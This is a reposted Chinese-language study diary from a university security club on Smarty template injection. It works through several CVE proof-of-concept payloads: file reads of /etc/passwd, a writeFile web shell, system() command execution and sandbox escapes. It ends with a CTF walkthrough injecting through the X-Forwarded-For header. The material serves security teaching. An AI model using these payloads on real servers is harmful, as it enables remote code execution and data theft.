皮蛋厂的学习日记 | 2023.3.3 2022级 Ic4_F1ame Smarty模板注入漏洞
2023-3-3 14:55:39 Author: 山警网络空间安全实验室(查看原文) 阅读量:34 收藏

文章首发于先知社区

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

  • 前言

  • 确定攻击方式:

    • 第一层:

    • 第二层:

    • 第三层:

  • Smarty漏洞成因:

  • 攻击方式:

    • 获取类的静态方法:

    • 标签:

    • 漏洞复现:

  • 实战:

    • [NISACTF 2022]midlevel:

  • 参考文章

前言

Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。

确定攻击方式:

学了这么多SSTI对应的模板,我们现在先放一放Smarty,谈一下如何确定模板类型,从而确定我们下一步的攻击姿势:

我们可以用三种方法来进行测试:

第一层:

  • 如果可以执行${7*7}的结果,那我们进入第二层的a{*comment*}b,如果没用执行结果,那就进入第二层的{{7*7}}
  • 在Mako模板引擎中我们也是${}形式的

第二层:

  • a{*comment*}b中,如果{**}被当作注释而输出ab,我们就可以确定这个地方是Smarty模板,如果不能,进入第三层;
  • {{7*7}}中,如果能够执行,那我们进入第三层。

第三层:

  • 当{{7*'7'}}的结果为49时,对应着Twig模板类型,而结果如果为7777777,则对应着Jinja2的模板类型
  • 当能够执行${"z".join("ab")},我们就能确定是Mako模板,能够直接执行python命令.

Smarty漏洞成因:

<?php
    require_once('./smarty/libs/' . 'Smarty.class.php');
    $smarty = new Smarty();
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $smarty->display("string:".$ip);     // display函数把标签替换成对象的php变量;显示模板
}

这个地方对应的就是xff头处存在smarty模板,我们可以利用smarty形式来进行攻击。

攻击方式:

获取类的静态方法:

$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后,我们就去找 smarty 给我们的方法:

getStreamVariable():

public function getStreamVariable($variable)//variable其实就是文件路径
{
        $_result = '';
        $fp = fopen($variable, 'r+');//从此处开始对文件进行读取
        if ($fp) {
            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                $_result .= $current_line;
            }
            fclose($fp);
            return $_result;
        }
        $smarty = isset($this->smarty) ? $this->smarty : $this;
        if ($smarty->error_unassigned) {
            throw new SmartyException('Undefined stream variable "' . $variable . '"');
        } else {
            return null;
        }
    }
//可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法
smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() 这个方法可以获取传入变量的流
例如:
{self::getStreamVariable("file:///etc/passwd")}
  • 不过这种利用方式只存在于旧版本中,而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable 静态方法删除。

writeFile:

public function writeFile($_filepath, $_contents, Smarty $smarty)
//我们可以发现第三个参数$smarty其实就是一个smarty模板类型,要求是拒绝非Smarty类型的输入,这就意味着我们需要获取对Smarty对象的引用,然后我们在smarty中找到了 self::clearConfig()
public function clearConfig($varname = null)
{
    return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
smarty/libs/sysplugins/smarty_internal_write_file.php  ——>  Smarty_Internal_Write_File 这个类中有一个writeFile方法
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

但是writeFile方法也有版本限制,所以我们首先要确定模板的版本,再决定对应的攻击方法。

标签:

1. {$smarty.version}

{$smarty.version}  #获取smarty的版本号

2.{php}{/php}

{php}phpinfo();{/php}  #执行相应的php代码

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

3.{literal}

  • {literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
  • 在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。
  • 通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。
{literal}alert('xss');{/literal}

4.{if}{/if}

{if phpinfo()}{/if}

Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||or&&andis_array()等等,如:

{if is_array($array)}{/if}

还可以用来执行命令:

{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

漏洞复现:

重点就是沙箱逃逸的部分:

这里我们主要介绍三个漏洞,说实在有点难复现,但毕竟sp4师傅是我的大师哥,想成为sp4师傅这样的大佬,那大佬走过的路我们也是要走走的。

CVE-2017-1000480:

环境链接:Releases · smarty-php/smarty (github.com)

在下面再写一个文件,用于利用漏洞,也是漏洞的触发点display, 渲染页面以后输出结果的这个函数:

<?php

define('SMARTY_ROOT_DIR', str_replace('\\''/'__DIR__));

define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c');

define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache');

include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php');

class testSmarty extends Smarty_Resource_Custom
{
    protected function fetch($name, &$source, &$mtime)
    
{
        $template = "CVE-2017-1000480 smarty PHP code injection";
        $source = $template;
        $mtime = time();
    }
}

$smarty = new Smarty();
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test'new testSmarty);
$smarty->display('test:'.$_GET['eval']);
?>

我们来跟进smarty对象的成员方法display, 位置为 smarty-3.1.31\libs\sysplugins\smarty_internal_templatebase.php

    public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
    
{
        // display template
        $this->_execute($template, $cache_id, $compile_id, $parent, 1);
    }

因为我们只给display传入了一个参数,所以我们传给display的参数就是这里的局部变量$template, 然后调用了函数_execute(),跟进一下,由于这段函数非常的长,我们就只关注有关template参数的地方,贴一下师傅的图:

我们可以发现template在这段代码中,直接进入elseif语句,其结果是使用了createTemplate方法,并且将template的值进行了覆盖,然后我们对createTemplate方法进行追综,可以发现template最后被赋值成一个Smarty_Internal_Template的对象,也正如createtemplate的字面意思

然后我们再回到原来的_execute代码处,在template被赋值为一个新的模板以后,我们会进入一个try结构,然后继续去关注里面的temlate参数走向,我们跟进render:

public function render(Smarty_Internal_Template $_template, $no_output_filter = true)
    
{
        if ($this->isCached($_template)) {
            if ($_template->smarty->debugging) {
                if (!isset($_template->smarty->_debug)) {
                    $_template->smarty->_debug = new Smarty_Internal_Debug();
                }
                $_template->smarty->_debug->start_cache($_template);
            }
            if (!$this->processed) {
                $this->process($_template);
            }
            $this->getRenderedTemplateCode($_template);
            if ($_template->smarty->debugging) {
                $_template->smarty->_debug->end_cache($_template);
            }
            return;
        } else {
            $_template->smarty->ext->_updateCache->updateCache($this, $_template, $no_output_filter);
        }
    }

这里因为我们之前没有进行过模板缓存文件的生成会进入这里的 else,我们继续跟进 smartytemplatecompiled 类中的这个 render:

public function render(Smarty_Internal_Template $_template)
    
{
        // checks if template exists
        if (!$_template->source->exists) {
            $type = $_template->source->isConfig ? 'config' : 'template';
            throw new SmartyException("Unable to load {$type} '{$_template->source->type}:{$_template->source->name}'");
        }
        if ($_template->smarty->debugging) {
            if (!isset($_template->smarty->_debug)) {
                $_template->smarty->_debug = new Smarty_Internal_Debug();
            }
            $_template->smarty->_debug->start_render($_template);
        }
        if (!$this->processed) {
            $this->process($_template);
        }
    }

第105行开始对前面生成的模板进行处理:

# smarty_template_compiled
# line about 104

if (!$this->processed) {
 $this->process($_template);
}

可以看到这里的 _template);跟进process

 public function process(Smarty_Internal_Template $_smarty_tpl)
    
{
        $source = &$_smarty_tpl->source;
        $smarty = &$_smarty_tpl->smarty;
        if ($source->handler->recompiled) {
            $source->handler->process($_smarty_tpl);
        } elseif (!$source->handler->uncompiled) {
            if (!$this->exists || $smarty->force_compile ||
                ($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
            ) {
                $this->compileTemplateSource($_smarty_tpl);
                $compileCheck = $smarty->compile_check;
                $smarty->compile_check = false;
                $this->loadCompiledTemplate($_smarty_tpl);
                $smarty->compile_check = $compileCheck;
            } else {
                $_smarty_tpl->mustCompile = true;
                @include($this->filepath);
                if ($_smarty_tpl->mustCompile) {
                    $this->compileTemplateSource($_smarty_tpl);
                    $compileCheck = $smarty->compile_check;
                    $smarty->compile_check = false;
                    $this->loadCompiledTemplate($_smarty_tpl);
                    $smarty->compile_check = $compileCheck;
                }
            }
            $_smarty_tpl->_subTemplateRegister();
            $this->processed = true;
        }
    }

process方法定义在第90行。现在初次访问,也即文件的第97行会对模板文件进行编译,即如简介中所言开始生成编译文件:

if (!$this->exists || $smarty->force_compile ||
 ($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
 $this->compileTemplateSource($_smarty_tpl);
 $compileCheck = $smarty->compile_check;
 $smarty->compile_check = false;
 $this->loadCompiledTemplate($_smarty_tpl);
 $smarty->compile_check = $compileCheck;
}
compileTemplateSource方法定义在同文件的第189行,在第203行装载完编译器后(loadCompiler()),调用write方法进行写操作:
public function compileTemplateSource(Smarty_Internal_Template $_template)
{
 ...
 try {
  // call compiler
  $_template->loadCompiler();//装载编译器
  $this->write($_template, $_template->compiler->compileTemplate($_template));
 }
 ...

跟入compileTemplate方法,定义libs\sysplugins\smarty_internal_templatecompilerbase.php第330行:

public function compileTemplate(Smarty_Internal_Template $template, $nocache = null,
                                    Smarty_Internal_TemplateCompilerBase $parent_compiler = null)

    
{
        // get code frame of compiled template
        $_compiled_code = $template->smarty->ext->_codeFrame->create($template,
                                                                     $this->compileTemplateSource($template, $nocache,
                                                                                                  $parent_compiler),
                                                                     $this->postFilter($this->blockOrFunctionCode) .
                                                                     join(''$this->mergedSubTemplatesCode), false,
                                                                     $this);
        return $_compiled_code;
    }

create是生成编译文件代码的方法,定义在libs\sysplugins\smarty_internal_runtime_codeframe.php第28行

//在第45行,在生成output内容时有如下代码:

$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
                   "\n  from \"" . $_template->source->filepath . "\" */\n\n";
//将 $_template->source->filepath的内容直接拼接到了$output里。这段代码是为了生成编译文件中的注释,$output的头尾有注释符号/*和*/。

现在考虑如何利用,我们需要闭合前面的注释符号,即payload的最前面需要加上*/。同时还要把后面的*/给注释掉,可以在payload最后加上//。中间填上php代码即可。另外需要注意的是,在win平台下,文件名中不允许有*,而smarty框架的生成的编译文件的名字会含有我们的payload,所以在win下时会直接提示创建文件失败。

在linux平台下即可利用成功。

这就是Smarty下生成的临时文件的内容,其中蓝框的部分就是输出点,可以看到输出点是存在两个地方分别是在注释中以及在数组中。那么现在问题就很简单了,我们如何通过这两个输出点能够闭合其中的注释或者是代码,从而执行我们加入的代码。

然后在process中,能够将我们这个文件自动包含:

    private function loadCompiledTemplate(Smarty_Internal_Template $_smarty_tpl)
    
{
        if (function_exists('opcache_invalidate') && strlen(ini_get("opcache.restrict_api")) < 1) {
            opcache_invalidate($this->filepath, true);
        } elseif (function_exists('apc_compile_file')) {
            apc_compile_file($this->filepath);
        }
        if (defined('HHVM_VERSION')) {
            eval("?>" . file_get_contents($this->filepath));//就是这个位置
        } else {
            include($this->filepath);
        }
    }

eval(“?>”.file_get_contents($this->filepath)) 相当于一个远程文件包含,这里调用了 include ,我们之前写入缓存的php文件也就被包含进而执行了。

CVE-2021-29454:

红明谷2022 web Smarty Calculator:

题目有源码的泄露:www.zip,源码泄露,分析index.php,版本号3.1.39:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
<h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
<form action="" method="POST">
<input type="text" style="width:150px;height:30px" name="data" placeholder=" 输入值进行计算" value="">
<br>
<input type="submit" value="Submit">
</form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);

function waf($data){
$pattern = "php|\<|flag|\?";
$vpattern = explode("|", $pattern);
foreach ($vpattern as $value) {
//关键词过滤
if (preg_match("/$value/", $data)) {
echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");
die();
}
}
return $data;
}

if(isset($_POST['data'])){
//COOKIE中需要由login这个东西
if(isset($_COOKIE['login'])) {
$data = waf($_POST['data']);
echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
$smarty->display("string:" . $data);
}else{
echo "<script>alert(\"你还没有登录\")</script>";
}
}

主要攻击点在display的地方,所以我们知道data这个位置可以进行Smarty模板注入,检测版本是3.1.39,此版本存在漏洞

源码对比

发现sysplugins\smarty_internal_compile_function.php有点不同,在正则过滤那块出题人进行了修改,对漏洞进行了一下加强,但是我们仍然可以进行绕过了,如果正则匹配成功,就会进入trigger_template_error函数,会导致不回显:

我们来分析一下这个正则匹配的差异,在题目给出的源码中,将!去掉,表示匹配成功即进入error; 然后a-zA-Z0-9_\x80-\xff这些包含了正常的大小写字母,数字,下划线以及不可显字符; 而后面的(.*)+中,.匹配除了换行符以外的所有字符,*匹配0次或者多次,+匹配一次或者多次

if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
            $compiler->trigger_template_error("Function name contains invalid characters: {$_name}"nulltrue);
        }

所以可以换行绕过,%0A既不在前面的[]匹配里面,又不被后面的.匹配。所以我们只需要在原来的poc基础上,加上回车绕过,即可执行(我这里用了两个回车进行绕过)

data={function+name='rce(){};system("id");function%0A%0A'}{/function}

我们来剖析一下这个漏洞:注意function.math.php这个文件:

function smarty_function_math($params, $template)
{ 首先定义了很多个true变量。
    static $_allowed_funcs =
        array(
            'int'   => true,
            'abs'   => true,
            'ceil'  => true,
            'cos'   => true,
            'exp'   => true,
            'floor' => true,
            'log'   => true,
            'log10' => true,
            'max'   => true,
            'min'   => true,
            'pi'    => true,
            'pow'   => true,
            'rand'  => true,
            'round' => true,
            'sin'   => true,
            'sqrt'  => true,
            'srand' => true,
            'tan'   => true
        );
    然后接收了参数equation,然后对这个参数进行了一些条件限制
    // be sure equation parameter is present
    if (empty($params[ 'equation' ])) {
        trigger_error("math: missing equation parameter", E_USER_WARNING);
        return;
    }
    $equation = $params[ 'equation' ];
    // make sure parenthesis are balanced
    if (substr_count($equation, '(') !== substr_count($equation, ')')) {
        trigger_error("math: unbalanced parenthesis", E_USER_WARNING);
        return;
    }
    // disallow backticks
    if (strpos($equation, '`') !== false) {
        trigger_error("math: backtick character not allowed in equation", E_USER_WARNING);
        return;
    }
    // also disallow dollar signs
    if (strpos($equation, '$') !== false) {
        trigger_error("math: dollar signs not allowed in equation", E_USER_WARNING);
        return;
    }
    foreach ($params as $key => $val) {
        if ($key !== 'equation' && $key !== 'format' && $key !== 'assign') {
            // make sure value is not empty
            if (strlen($val) === 0) {
                trigger_error("math: parameter '{$key}' is empty", E_USER_WARNING);
                return;
            }
            if (!is_numeric($val)) {
                trigger_error("math: parameter '{$key}' is not numeric", E_USER_WARNING);
                return;
            }
        }
    }
    // match all vars in equation, make sure all are passed
    preg_match_all('!(?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)!', $equation, $match);
    foreach ($match[ 1 ] as $curr_var) {
        if ($curr_var && !isset($params[ $curr_var ]) && !isset($_allowed_funcs[ $curr_var ])) {
            trigger_error(
                "math: function call '{$curr_var}' not allowed, or missing parameter '{$curr_var}'",
                E_USER_WARNING
            );
            return;
        }
    }
    foreach ($params as $key => $val) {
        if ($key !== 'equation' && $key !== 'format' && $key !== 'assign') {
            $equation = preg_replace("/\b$key\b/"" \$params['$key'] ", $equation);
        }
    }
    $smarty_math_result = null;
  • 重点看接下来的这个,有个eval函数,eval函数辉执行我们传进去的equation,但是上面代码经过了preg_match_all正则匹配
  • 包括十六进制的格式,后面的 [a-zA-Z*\x7f-\xff][a-zA-Z0-9*\x7f-\xff]* 表示的是PHP 中的变量,根据变量的命名规则,一个有效的变量名由字母或者下划线开头,后面跟上任意数量的字母,数字,或者下划线。按照正常的正则表达式它被写成上面这个样子
  • 这里涉及到了 PHP 对进制的识别的机制,比如 \120这种格式就会被默认的识别为八进制,我们这里就是利用了数字和 \ 都存在的情况下对八进制的解析构造了任意的字符串,我们可以通过8进制绕过
    eval("\$smarty_math_result = " . $equation . ";");
    if (empty($params[ 'format' ])) {
        if (empty($params[ 'assign' ])) {
            return $smarty_math_result;
        } else {
            $template->assign($params[ 'assign' ], $smarty_math_result);
        }
    } else {
        if (empty($params[ 'assign' ])) {
            printf($params[ 'format' ], $smarty_math_result);
        } else {
            $template->assign($params[ 'assign' ], sprintf($params[ 'format' ], $smarty_math_result));
        }
    }
}

借一下大佬的八进制脚本:

# python3.8

#str = '("file_put_contents")("1.php","<?php eval($_POST["a"]);?>")'
str = '("system")("whoami")'
string = ''
for i in str:
    #print(i)
    if i == '"':
        string += '\\"'
        continue
    if i == '(':
        string += '('
        continue
    if i == ')':
        string += ')'
        continue
    if i == ',':
        string += ','
        continue
    string += '\\\\' + oct(ord(i))[2:]

print(string)

payload:

八进制:
{$poc="poc"}{math equation="()"}//写文件

沙箱逃逸:

CVE-2021-26120:

找了半天这个漏洞的复现还是发现自己亲师傅写的好……

沙箱逃逸,就是在一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。在一个 Smarty 模板中,我们可以用 enableSecurity 来开启安全模式,也就相当于开启了沙箱。

<?php
include_once('../libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);

通过设置 Smarty_Security 实例的一系列的参数我们可以获得更加严格的沙箱,官方文档中的实例如下

<?php
require'Smarty.class.php';
$smarty = new Smarty();
$my_security_policy = new Smarty_Security
($smarty);
// disable all PHP functions
$my_security_policy->php_functions = null;
// remove PHP tags
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
// allow everthing as modifier
$my_security_policy->$modifiers = array();
// enable security
$smarty->enableSecurity($my_security_policy);
?>

或者更严格的例子,下面这个php文件,新建一个文件夹,然后将这个文件放到这个文件夹下面,这样才能正确调用php文件,但是windows下面好像没法执行,只能是Linux下来执行:

<?php
include_once('../libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);

最后我们的参数被传入 display,而从上面的内容可以想到,这里我们是可以进行模板注入的,而如果我们的注入的内容能够帮助我们很好地绕过这里的安全沙箱,也就是沙箱逃逸了。

CVE-2021-26120 为 SmartyInternalRuntime_TplFunction 沙箱逃逸漏洞,对应的是3.1.38版本,所利用 POC 如下:

string:{function+name='rce(){};system("id");function+'}{/function}

我们可以先利用 简单的 function 标签来进行一下测试,{functionname='test'}{/function} ,然后我们查看一下缓存文件内的内容:

/* smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
    function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
     foreach ($params as $key => $value) {
            $_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
        }
    }
}
/*/ smarty_template_function_test_8782550315ffc7c00946f78_05745875 */

重点是这一句话:

function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template$_smarty_tpl,$params)

我们将test值注入恶意代码,将两边的语句都进行一下闭合,这样的话就能在临时生成给的文件中执行我们所注入的php恶意代码:

{function+name='rce(){};system("id");function+'}{/function}

放入源代码中就是:

smarty_template_function_rce(){};system("id");function+_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template$_smarty_tpl,$params)
//我们可以发现已经进行了闭合
CVE-2021-26119:

CVE-2021-26119 为 Smarty template_object 沙箱逃逸 PHP 代码注入漏洞,所利用 POC 如下:

string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

请求两次后触发,请求需要触发两次的原因是第一次缓存文件被写入,然后被覆盖。第二次触发缓存并包含文件以进行远程代码执行。相关代码在 process 函数处。

这里的这个 Payload 所使用的正是我们一开始所说的类的静态方法,是对调用类中静态方法的一种绕过。静态方法中的参数不再使用 self 标签,而是使用了 smarty.template_object->compiled->filepath 两处调用。

payload1 进行的就是再将缓存文件写入自己插入的代码
payload2 进行的是先将smarty的enableSecurity()再指向了disableSecurity()再进行命令执行
payload3 进行的是Smarty_Internal_Runtime_TplFunction在tplFunctions的定义时没有正确的过滤所以导致的命令执行

实战:

[NISACTF 2022]midlevel:

打开题目界面:

说明这个界面是用smarty进行创建的,所以我们确定攻击方式就为smarty,下一步寻找注入点:

打开整道题都是说明的ip右上角也有ip,用到 x-forwarded-for试一下有没有模板注入,我们用上面的判断模板的方法来实践一下:

这里我们用smarty特有的注释符方式来验证,发现并没有回显comment的值,所以我们可以确定这个位置就是smarty模板注入。

然后我们确定版本:

{$smarty.version}
Current IP:3.1.30
//所以这个位置我们不能够使用获取类的静态方法来进行攻击,也不能用php标签来进行攻击。
//又因为php的版本是php7,所以我们不能用literal标签,最后我们使用if来进行攻击

参考文章

https://www.cnblogs.com/bmjoker/p/13508538.html

Smarty 模板注入与沙箱逃逸-安全客 - 安全资讯平台 (anquanke.com)

(11条消息) PHP的模板注入(Smarty模板)_zhang三的博客-CSDN博客_php模板注入

Smarty <= 3.1.32 Remote Code execution(CVE-2017-1000480) - magic_zero - 博客园 (cnblogs.com)

Smarty PHP代码执行漏洞分析 | Spoock


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450785261&idx=1&sn=075c923adee3224979bfbc973f7266cc&chksm=b104f2ca86737bdc4d53a0a36035e804b09d9c7003b2fea41a4f3778fd452e9bc0d4f72ee942#rd
如有侵权请联系:admin#unsafe.sh